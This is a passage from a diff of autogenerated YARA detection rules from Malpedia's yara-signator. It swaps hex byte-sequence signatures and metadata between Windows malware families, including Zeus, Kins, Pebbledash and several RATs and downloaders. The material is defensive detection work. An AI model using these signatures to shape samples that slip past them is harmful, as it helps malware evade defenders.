c744242001000000 } condition: - 7 of them and filesize < 4177920 + 7 of them and filesize < 1811456 } -rule MALPEDIA_Win_Doubleback_Auto : FILE +rule MALPEDIA_Win_October_Seventh_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "035a9a1e-c37c-5062-9628-749c129d60a8" + id = "c923fdd4-c954-5dde-bdcd-f3b77326ae47" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doubleback_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.october_seventh" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.october_seventh_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "3ec9aa1fddb06b8b6c176677c7cb9e9e3472c33e097d5e85291d462774406acd" + logic_hash = "552e719a27839e5d3f04d1c3619c82bb79d38c4fb51bdf6c68df34e2e7210a4c" score = 75 quality = 75 tags = "FILE" @@ -84740,32 +84738,32 @@ rule MALPEDIA_Win_Doubleback_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b947060000 eb49 b9e7050000 eb42 b9e3050000 eb3b } - $sequence_1 = { b947060000 eb49 b9e7050000 eb42 } - $sequence_2 = { 3d00280000 7438 3d5a290000 742a 3d39380000 741c 3dd73a0000 } - $sequence_3 = { b9d4070000 eb13 b975070000 eb0c b96f070000 eb05 } - $sequence_4 = { e8???????? 85c0 7508 c60703 } - $sequence_5 = { b9e3050000 eb3b b90b070000 eb34 2d63450000 7428 } - $sequence_6 = { eb49 b9e7050000 eb42 b9e3050000 eb3b b90b070000 eb34 } - $sequence_7 = { b975070000 eb0c b96f070000 eb05 } - $sequence_8 = { b9d4070000 eb13 b975070000 eb0c b96f070000 } - $sequence_9 = { 751a b9d4070000 eb13 b975070000 } + $sequence_0 = { 81784870034200 7409 ff7048 e8???????? 59 8b45fc } + $sequence_1 = { 80ba????????3f 76f3 2bcf 49 8d4103 99 } + $sequence_2 = { 50 8b8598f8ffff 0fb7048544cb4100 8d048540c24100 } + $sequence_3 = { ff35???????? 89442410 e8???????? 8bf0 83c408 } + $sequence_4 = { 8b0cbdd08fd500 c644112900 837dfc00 7507 b800800000 eb1e 84db } + $sequence_5 = { 8b45d4 0345b4 48 e9???????? 8b0c85d08fd500 } + $sequence_6 = { 33c0 5b 8be5 5d c3 8b4018 33f6 } + $sequence_7 = { 68???????? a3???????? ffd0 ba???????? b9???????? 8bf0 } + $sequence_8 = { 7470 eb17 be???????? 68???????? e8???????? 83c404 } + $sequence_9 = { 46 3b75f0 72c5 eb0f 8b45f4 8b7dfc 0fb70470 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 19859456 } -rule MALPEDIA_Win_Xfsadm_Auto : FILE +rule MALPEDIA_Win_Quickmute_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4e0da958-d7db-5cd3-9845-58c1ee1ba55b" + id = "82702de0-3ec3-5174-97b3-ecd07741028d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfsadm" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xfsadm_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickmute" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quickmute_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "b8085f6961208dfb9003a24568de62da647e6cb5e982bfeaf61525cbc63ec421" + logic_hash = "a1fe14ff6e270ce43f084b7c17d9cfec20868bf0fcb227ce38e0547341f7d58e" score = 75 quality = 75 tags = "FILE" @@ -84779,32 +84777,32 @@ rule MALPEDIA_Win_Xfsadm_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 740f 83f8fe 740a 6bce38 030c95f8d84200 f6412d01 7414 } - $sequence_1 = { 8d7301 80fa78 7577 385903 } - $sequence_2 = { 895e04 eb03 8b5e04 893c83 ff4634 } - $sequence_3 = { 83c404 8b5d0c c7461000000000 c7461400000000 c7461800000000 8d4b01 8a03 } - $sequence_4 = { 6a03 6808020000 ff15???????? 68???????? ff75e0 ff75dc } - $sequence_5 = { 8b12 8b42f8 2b4afc 2bc7 0bc8 } - $sequence_6 = { 894df0 83c104 50 e8???????? 8bf8 85ff 0f84cb000000 } - $sequence_7 = { a3???????? 85c0 0f8475010000 68???????? ff35???????? ffd6 a3???????? } - $sequence_8 = { 8b7b20 8b7324 6a00 ff10 8b06 8bce 53 } - $sequence_9 = { f20f593c85604f4200 660f122c85604f4200 03c0 660f28348570534200 } + $sequence_0 = { c78550ffffff7265616c c78554ffffff6c6f6300 391d???????? 750f 8d8550ffffff 50 } + $sequence_1 = { 6a00 52 ff15???????? 83c40c 6a10 8d45ec 6a00 } + $sequence_2 = { 8b75fc 85f6 740c 56 } + $sequence_3 = { 0f8410020000 837dec00 755e 837df000 7558 837df400 } + $sequence_4 = { ffd7 a3???????? 833d????????00 c68560ffffff47 889d61ffffff c78562ffffff74537461 c78566ffffff72747570 } + $sequence_5 = { 8b7508 c7465ca89b4000 83660800 33ff 47 897e14 } + $sequence_6 = { 8d45b4 50 56 ffd7 a3???????? 833d????????00 } + $sequence_7 = { 8d7c2410 e8???????? 803d????????00 756b } + $sequence_8 = { 66c7855affffff656e 889d5cffffff c7855dffffff69616c73 c68561ffffff00 750f 8d954cffffff 52 } + $sequence_9 = { 6a0d 58 5d c3 8b04cd74c14000 5d c3 } condition: - 7 of them and filesize < 566272 + 7 of them and filesize < 146432 } -rule MALPEDIA_Win_Fk_Undead_Auto : FILE +rule MALPEDIA_Win_Ldr4_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cf4f13f3-5cfd-52f4-9402-53feb1040423" + id = "c588634c-3a69-5c4e-b524-6b66db1c4a89" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fk_undead" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fk_undead_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ldr4" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ldr4_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "082cbaea4a68893ab74100ece6602c4f221f464c059db4c166d2438647300475" + logic_hash = "e747da5dcad3015b47810444cb7613ce4b06e63b04ebbc6ff8767e44ad66440e" score = 75 quality = 75 tags = "FILE" @@ -84818,32 +84816,32 @@ rule MALPEDIA_Win_Fk_Undead_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 80bbbb02000000 0f44f9 83f807 0f87cb020000 ff2485887a0310 ff4618 } - $sequence_1 = { 8965f0 8b4508 8b750c 8b5510 33c9 898dd8f7ffff 894dfc } - $sequence_2 = { 83bb2402000000 745a 6a0a ff37 68???????? e8???????? 83c40c } - $sequence_3 = { 8bf0 6a02 6a02 56 ff15???????? c745fc00000000 56 } - $sequence_4 = { 6a3a ff37 e8???????? 8bf0 83c408 85f6 0f84b7000000 } - $sequence_5 = { 742d 8b94241c080000 8b442408 8b8c2420080000 8902 8b1424 8b842424080000 } - $sequence_6 = { 8b4c241c 52 8908 e8???????? 8b442418 83c404 5e } - $sequence_7 = { 0fb7780c 8b442428 8d5001 8a08 40 84c9 75f9 } - $sequence_8 = { 8b6c2414 33c0 33d2 57 89442408 85ed 0f8402010000 } - $sequence_9 = { 51 e8???????? 83c404 8903 85c0 7516 8b5500 } + $sequence_0 = { 56 8d45b4 50 53 33f6 56 } + $sequence_1 = { 8b4008 8945f4 a1???????? 53 35fc28b0ec 56 50 } + $sequence_2 = { c745f40c000000 c745fc01000000 895df8 ffd7 85c0 7508 } + $sequence_3 = { 53 56 57 8bf8 a1???????? 8b5808 8b07 } + $sequence_4 = { a1???????? 8b4008 89442404 85f6 0f84c9000000 8b4610 85c0 } + $sequence_5 = { 8b4008 57 8b3d???????? 6a40 8945f8 8d45b8 } + $sequence_6 = { ff15???????? 8bf0 85f6 750c 57 ff15???????? 6a08 } + $sequence_7 = { 3bc6 743c 56 56 ff75f4 } + $sequence_8 = { ff15???????? 8d4608 50 e8???????? 837e0400 7414 6aff } + $sequence_9 = { 35fc28b0ec 56 50 8b4508 8b402c e8???????? 85c0 } condition: - 7 of them and filesize < 1418240 + 7 of them and filesize < 117760 } -rule MALPEDIA_Win_Blind_Edr_Auto : FILE +rule MALPEDIA_Win_Cotx_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "763f7b33-d005-5632-bc6e-32cbbb43afd8" + id = "7eae7fd5-fe09-5035-acc7-8021961f04a4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blind_edr" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blind_edr_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cotx_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "af78d8eedd7874fd051e4e2d0675f6cbdce3ecade2c26f196e0f08521ce6dfb2" + logic_hash = "1c95a0f1a2e7fb0ee9c8ab7674fdf844ade84df8607e565506c61944d3da6b96" score = 75 quality = 75 tags = "FILE" @@ -84857,32 +84855,32 @@ rule MALPEDIA_Win_Blind_Edr_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488bcf e8???????? 488bc5 e9???????? 498b6e18 488bcf e8???????? } - $sequence_1 = { 483b442468 75d7 85db 7e58 } - $sequence_2 = { 498b84ffe0fc0100 90 493bc6 0f84ae000000 4885c0 0f85a7000000 4d3bc1 } - $sequence_3 = { 488d8c24b0000000 41b808000000 488bd3 e8???????? 4883c308 4883ef01 0f8560ffffff } - $sequence_4 = { 488d542450 4533c9 41b802000000 488d4b02 e8???????? 6639742450 747a } - $sequence_5 = { 488d4b10 4533c9 41b808000000 488d542448 } - $sequence_6 = { 745e 4883c108 4c89b424a8000000 4533c9 488d9424a8000000 } - $sequence_7 = { 4883ec20 488bda 4c8d0d20fd0000 8bf9 488d1517fd0000 } - $sequence_8 = { e8???????? 4533c9 4c89742460 41b808000000 } - $sequence_9 = { 4c8d0503fd0000 e8???????? 488bd3 8bcf 4885c0 7408 ff15???????? } + $sequence_0 = { 83c40c 8d45e0 50 ff15???????? 0fb745ee } + $sequence_1 = { c705????????69e053a4 c705????????120d934e c705????????b0b65443 c705????????4df9e511 c705????????0e9a3f4b } + $sequence_2 = { 83e103 f3a4 8dbd98faffff 4f } + $sequence_3 = { c705????????9cb95b4c c705????????2d494a94 c705????????8db133d4 c705????????8e220b1d c705????????6825794d c705????????4506ce62 } + $sequence_4 = { 8d85bcf3ffff 50 ff15???????? 8bf0 } + $sequence_5 = { c705????????f0e91f15 c705????????9cb95b4c c705????????2d494a94 c705????????8db133d4 c705????????8e220b1d } + $sequence_6 = { 68???????? 56 e8???????? 6800f00000 81c690ef0000 68???????? } + $sequence_7 = { c785b8faffff39313044 c1e902 f3a5 8bca } + $sequence_8 = { 6800040000 8d8598f6ffff 6a00 50 e8???????? 83c40c 8d8598feffff } + $sequence_9 = { e8???????? 6890ef0000 8d7760 68???????? } condition: - 7 of them and filesize < 299008 + 7 of them and filesize < 1171456 } -rule MALPEDIA_Win_Pipemon_Auto : FILE +rule MALPEDIA_Win_Devopt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "641a9fef-3a8d-534e-bfa2-dfb8a6acf672" + id = "c196c87a-940f-5170-bdeb-5480f0772987" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pipemon_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.devopt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.devopt_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e491e9d37fd535256d0dbfcb98468cb6b5a0e8d2ca1e4782bf7c27cb6ebbc39b" + logic_hash = "d44283c361e67f2f245bfc24e6c20517af3480cb8098b2e4e26bd4743afb76d5" score = 75 quality = 75 tags = "FILE" @@ -84896,32 +84894,32 @@ rule MALPEDIA_Win_Pipemon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 4883ec20 488bf9 4c8d0df8c50000 b903000000 4c8d05e4c50000 } - $sequence_1 = { 488bec 4883ec40 488d45e8 48894de8 488945f0 488d15c0a80000 b805000000 } - $sequence_2 = { 488d0d620b0000 e8???????? e8???????? 488d15794a0100 488d0d524a0100 } - $sequence_3 = { 81f95d68fa3c 0f85a3000000 4d8b5620 41bfffff0000 } - $sequence_4 = { 895128 488d0d6fa90000 488b45d8 488908 } - $sequence_5 = { 4533ff 443b432c 723d 450fb75a06 410fb7d7 66453bfb 732b } - $sequence_6 = { 4c8d442458 488d4c2438 e8???????? 4c8d4820 4889442420 4c8bc3 488d5588 } - $sequence_7 = { 488bd8 483b5c2440 e9???????? c644243000 488d8570060000 4889442428 4c8d4c2450 } - $sequence_8 = { 48894a08 488d4c2420 e8???????? 488d05ce3a0100 488903 488bc3 } - $sequence_9 = { cc 4883ec48 488bd1 488d4c2420 e8???????? 488d15dcdc0100 } + $sequence_0 = { eb47 8b45fc 0fb6809e030000 50 8b45fc 8a889d030000 8b45fc } + $sequence_1 = { ff15???????? 8b45f4 8d4060 50 6863090000 6a00 6a09 } + $sequence_2 = { eb0f 8b45fc 8b4050 8b55fc 8b4dfc ff514c 89ec } + $sequence_3 = { f77dac 0fb755cc 8d0410 66894588 0fb745c6 0fb755ce 29d0 } + $sequence_4 = { eb36 807dd8b3 7530 0fb645d4 2d80000000 83f824 7322 } + $sequence_5 = { ff526c 8845f0 660fb645f0 66250100 66a9ffff 7502 eb09 } + $sequence_6 = { eb2a 6a00 8d45e8 50 66b90000 66ba0000 66b80000 } + $sequence_7 = { eb46 8b45fc 8b4034 8b55fc 8b4dfc 8b4934 ff91fc000000 } + $sequence_8 = { e8???????? 8d7600 b801000000 89f1 d3e0 8d50ff 21da } + $sequence_9 = { ff75c0 8b4dbc 8b55c4 8d45ec e8???????? 84c0 7509 } condition: - 7 of them and filesize < 389120 + 7 of them and filesize < 4645888 } -rule MALPEDIA_Win_Breach_Rat_Auto : FILE +rule MALPEDIA_Win_Kins_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c23c3fa3-17cd-5c37-b04d-874bf808dbb3" + id = "743f9274-41e4-5665-bc30-911487d51855" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.breach_rat_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kins" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kins_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "f6957c0f2edc673a234b7e2f6939826a76594123ef28991fd2cfa30c71d906d4" + logic_hash = "26d261757c4f136c791aeb2f4de3cf368918a3d762b525e91ab2a0dc9fc542ca" score = 75 quality = 75 tags = "FILE" @@ -84935,34 +84933,34 @@ rule MALPEDIA_Win_Breach_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 2b4da4 f7e9 c1fa02 8bc2 c1e81f 03c2 744a } - $sequence_1 = { 8b450c 2bf0 83c002 0345f0 56 50 eb08 } - $sequence_2 = { 8d4db8 e8???????? 83c410 84c0 742c 8b4dd4 } - $sequence_3 = { ff4dc4 895d08 0f8548fdffff 8b5d98 8b7d9c 85db } - $sequence_4 = { c745bc00000000 c645ac00 56 8bd7 c645fc0b 8d8d6cffffff e8???????? } - $sequence_5 = { 8bc2 c1e81f 03c2 83f807 7616 8d87a8000000 3bf0 } - $sequence_6 = { 53 57 8b7d08 33db 895df0 85ff 7464 } - $sequence_7 = { e8???????? 8bc8 e8???????? 8d8d24f1ffff c745fcffffffff e8???????? 68???????? } - $sequence_8 = { e8???????? 50 8d8c2480000000 e8???????? 8b442428 85c0 7416 } - $sequence_9 = { 68???????? 8d8d54f7ffff e8???????? 68???????? 8d8554f7ffff c745fcc8000000 50 } + $sequence_0 = { 5f 5e 5b c9 c3 ff0d???????? 7518 } + $sequence_1 = { e8???????? 6a2e 8d7b18 57 e8???????? 84c0 743e } + $sequence_2 = { 8b4d0c 890491 42 33c0 85f6 75c2 8b4510 } + $sequence_3 = { 33da 035dec 897dfc 8d84032211906b c1c007 03c7 8bfe } + $sequence_4 = { 89441904 33c0 eb03 33c0 40 5f } + $sequence_5 = { e8???????? 8bf0 85f6 0f8512010000 8d45dc 8bd8 e8???????? } + $sequence_6 = { e8???????? 33ff 85ff 7526 837c242800 0f85cefeffff 8b7508 } + $sequence_7 = { 56 ffd7 833d????????04 720a 56 } + $sequence_8 = { 7510 837de801 750a 8b4720 894714 c645ff01 8a45ff } + $sequence_9 = { 72f0 8d411c e8???????? 83611800 } condition: - 7 of them and filesize < 645120 + 7 of them and filesize < 548864 } -rule MALPEDIA_Win_Zeus_Auto : FILE +rule MALPEDIA_Win_Sienna_Purple_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a7137ca7-f65f-570e-b179-06b94ad7a971" + id = "5c3c6fac-b35f-5f08-8ac2-d022904e5031" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_auto.yar#L1-L225" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_purple" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sienna_purple_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "3d703221ad7e27ff4fc081759a0590d4715ffa458d7987388aee7eef0fc141ff" + logic_hash = "8adbc4e03be709562af32b6e6ccf0666aff8c85f72382f2d72c386abf2d917ba" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -84974,45 +84972,32 @@ rule MALPEDIA_Win_Zeus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb58 833f00 7651 8b5f08 } - $sequence_1 = { 8d461c 50 8d45f0 50 e8???????? 6a10 8d460c } - $sequence_2 = { 8d461c 50 8d460c 50 e8???????? } - $sequence_3 = { 8d440810 8bc8 2bca 8b12 } - $sequence_4 = { 8d460c 8d4df0 e8???????? f7d8 1ac0 fec0 c9 } - $sequence_5 = { 85c0 7438 83600400 8918 8b4e08 } - $sequence_6 = { 8906 85ff 760c 8b550c } - $sequence_7 = { 83f801 7516 51 e8???????? } - $sequence_8 = { 8bf3 6810270000 ff35???????? ff15???????? } - $sequence_9 = { 891d???????? 891d???????? ffd6 68???????? } - $sequence_10 = { e8???????? 84c0 7442 6a10 } - $sequence_11 = { 8d8db0fdffff e8???????? 8ad8 84db } - $sequence_12 = { c20400 55 8bec f6451802 } - $sequence_13 = { ff15???????? 5e 8ac3 5b c20800 55 } - $sequence_14 = { b364 6a14 eb18 81fb5a5c4156 } - $sequence_15 = { 8d470c 50 c707000e0000 c7470809080002 e8???????? 83674200 6a78 } - $sequence_16 = { 3509080002 3d5c5b4550 740b 3d59495351 0f85ca000000 807b0420 0f85c0000000 } - $sequence_17 = { 0f873d020000 83fe06 0f86e3000000 8b03 3509080002 3d5c5b4550 740b } - $sequence_18 = { 68???????? 6809080002 8bc6 50 8d45fc } - $sequence_19 = { 56 68???????? ff750c 51 ff7508 ff15???????? 8bf8 } - $sequence_20 = { 8d75a8 b8d5000000 e8???????? 68e6010000 68???????? 6809080002 } - $sequence_21 = { 6813270000 6a04 5b 8bc6 c745f809080002 e8???????? 8ad8 } - $sequence_22 = { 807b0244 7429 83fe04 0f82ec000000 8b1b 81f309080002 } + $sequence_0 = { e8???????? c645fc05 e9???????? 83ff11 0f85b6000000 6a74 8d8560ffffff } + $sequence_1 = { 8955f8 894514 3b45dc 0f8c41ffffff 5f 5e 5b } + $sequence_2 = { 8d86d4000000 50 8d86fc000000 50 8d45dc 50 e8???????? } + $sequence_3 = { 8d4ddc e9???????? 8d4dc8 e9???????? 8d8d28ffffff e9???????? 8d8d14ffffff } + $sequence_4 = { 99 0bfe f7fb c1e708 0fb60c0a 8d4201 99 } + $sequence_5 = { e8???????? 8bf0 83c410 85f6 0f858b050000 c785b8ebffffe05e4300 eb24 } + $sequence_6 = { 8d8d98fdffff f7d8 1bc0 05b1040000 50 e8???????? 8d45d4 } + $sequence_7 = { e8???????? 83c40c 85c0 0f85fa000000 50 8d45c8 50 } + $sequence_8 = { e8???????? e9???????? 0f57c0 c745e800000000 8d4dd0 660fd645e0 f30f7f45d0 } + $sequence_9 = { e8???????? 8b8d74feffff 8d855cffffff 53 50 e8???????? 8d85dcfeffff } condition: - 7 of them and filesize < 319488 + 7 of them and filesize < 2930688 } -rule MALPEDIA_Win_Juicy_Potato_Auto : FILE +rule MALPEDIA_Win_5T_Downloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "874d6ec6-fd0c-5bd7-9c40-0556815f8763" + id = "c4a370ca-6c61-5c78-8868-cd8df81cd00c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.juicy_potato" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.juicy_potato_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.5t_downloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.5t_downloader_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "1027b6a0329ebee66fff8afc52e7ac6bf20b1db9537e47f298642e3fe872d860" + logic_hash = "584a19ffb7b53f3b149aeb982ecf23155ae77e2c2b57bc23c34103eb885f8cf5" score = 75 quality = 75 tags = "FILE" @@ -85026,32 +85011,32 @@ rule MALPEDIA_Win_Juicy_Potato_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8521ffffff 44882b eb7b 488b9540070000 4c8d05d7b20200 } - $sequence_1 = { e8???????? 488d1548380300 488d4c2420 e8???????? cc 488d4c2420 e8???????? } - $sequence_2 = { 0fb7d0 488d8de0000000 81ca00000780 85c0 0f4ed0 e8???????? 488d15a8350200 } - $sequence_3 = { 488d054ab1ffff 4889442438 488d4c2428 e8???????? } - $sequence_4 = { e8???????? eb98 488d4c2420 e8???????? 488d15fee90200 488d4c2420 } - $sequence_5 = { 4889442430 8b442478 89442428 488b442470 4c8b11 4889442420 } - $sequence_6 = { 488901 488d05660b0100 48894110 f6c201 740a ba90000000 e8???????? } - $sequence_7 = { 4885c0 7509 488d056f200400 eb04 4883c024 8938 e8???????? } - $sequence_8 = { 4883ec20 488bd9 488bc2 488d0d9dc10000 48890b } - $sequence_9 = { 44016f6c 48875308 4c396b08 7521 8364242800 488d0560acfeff 4889442430 } + $sequence_0 = { 7403 5d ffe1 83c8ff } + $sequence_1 = { 55 8bec 8b4508 85c0 7416 83781400 7510 } + $sequence_2 = { 8b4508 85c0 7416 83781400 7510 } + $sequence_3 = { 83781800 7403 5d ffe1 } + $sequence_4 = { 85c9 7409 83781800 7403 5d ffe1 83c8ff } + $sequence_5 = { 85c9 7409 83781800 7403 5d ffe1 } + $sequence_6 = { 83781800 7403 5d ffe1 83c8ff } + $sequence_7 = { 85c9 7409 83781800 7403 } + $sequence_8 = { 85c0 7416 83781400 7510 } + $sequence_9 = { 7409 83781800 7403 5d } condition: - 7 of them and filesize < 736256 + 7 of them and filesize < 539648 } -rule MALPEDIA_Win_Pebbledash_Auto : FILE +rule MALPEDIA_Win_Cohhoc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e5b2e91f-ba86-5aee-a150-1a0e9285e25b" + id = "eea8dd21-8908-5be8-a2a6-255fd0ffd6ca" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pebbledash_auto.yar#L1-L181" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cohhoc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cohhoc_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "e36d4a9a300e40c4a3570c6f2230ff5d0e8e8c772444b2ae33bda786b301ae99" + logic_hash = "722fe87316c37305b3652db78bba219c2fd88a714a6565f0318a82058c8a1b30" score = 75 quality = 75 tags = "FILE" @@ -85065,38 +85050,32 @@ rule MALPEDIA_Win_Pebbledash_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 b9???????? e8???????? 85c0 7514 } - $sequence_1 = { 5e c3 55 8b6c2408 56 33f6 8b4d00 } - $sequence_2 = { e8???????? 6888130000 ff15???????? b9???????? e8???????? 68???????? e8???????? } - $sequence_3 = { 832000 a1???????? a3???????? c3 8b442404 a3???????? } - $sequence_4 = { 5b 5e 5f c9 c3 6a01 ff742408 } - $sequence_5 = { e8???????? 33d2 b90e000000 f7f1 } - $sequence_6 = { 6829080000 68???????? 68???????? e8???????? } - $sequence_7 = { 5e c3 55 8bec 833d????????00 750f } - $sequence_8 = { 41894e04 0fb64209 0fb64a08 c1e108 0bc8 0fb6420a c1e108 } - $sequence_9 = { 4c8bf1 488bf1 85c0 bd01000000 0f44c5 41c1e008 8905???????? } - $sequence_10 = { c1e108 0bc8 0fb6420b c1e108 0bc8 41894e08 0fb6420d } - $sequence_11 = { 0fb64201 4c8db100010000 0fb63a 4c8d258fdaffff 440fb65a04 4d8be8 440fb64a08 } - $sequence_12 = { 66420f6e4ccb10 4b8d0c5b 660f6e5ccb10 4183c308 4c8d0440 66420f6e54c310 8d47ff } - $sequence_13 = { 41c1e008 8905???????? 0fb64201 440bc0 0fb64202 41c1e008 } - $sequence_14 = { 415e 415d 415c 5d c3 498bcc e8???????? } - $sequence_15 = { e8???????? 488b0d???????? 33d2 ffd0 85c0 } + $sequence_0 = { 8b9c242c3c0000 66ab aa b9000f0000 33c0 8d7c2420 c745008d000000 } + $sequence_1 = { 57 33c0 bf???????? 83c9ff f2ae } + $sequence_2 = { 50 68???????? 68???????? c74424200c000000 895c2424 c744242801000000 ffd6 } + $sequence_3 = { 8d7c244c 83c9ff 33c0 83c420 f2ae } + $sequence_4 = { 8b4c2420 8b542424 8b6c2428 8b5c242c 6a08 } + $sequence_5 = { be???????? 8d7c2410 33ed f3a5 8b4c245c } + $sequence_6 = { 8d442410 53 50 68???????? 68???????? c74424200c000000 } + $sequence_7 = { 894c2410 89442414 0f85f5feffff b801000000 5f 895d08 } + $sequence_8 = { 8944242c 0f85b5feffff 8bce e8???????? 668b5702 50 } + $sequence_9 = { 8b0d???????? 891d???????? 51 c705????????02000000 e8???????? 83c420 } condition: - 7 of them and filesize < 677888 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Banpolmex_Auto : FILE +rule MALPEDIA_Win_Alreay_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "09c8ccaf-8f5a-5f11-8d59-2eeae879be55" + id = "e56c2c54-ad52-5b52-a7dc-5167ef6188a3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banpolmex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.banpolmex_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alreay_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "ca7f23e428ff171c615716f21966c01f85ab62bd4b01db41e41afe5b6847958b" + logic_hash = "691ad5e65c868108d2cf9f6c8d61af6c7a9420c74e344971bfa56b9838124959" score = 75 quality = 75 tags = "FILE" @@ -85110,73 +85089,34 @@ rule MALPEDIA_Win_Banpolmex_Auto : FILE malpedia_sharing = "TLP:WHITE" 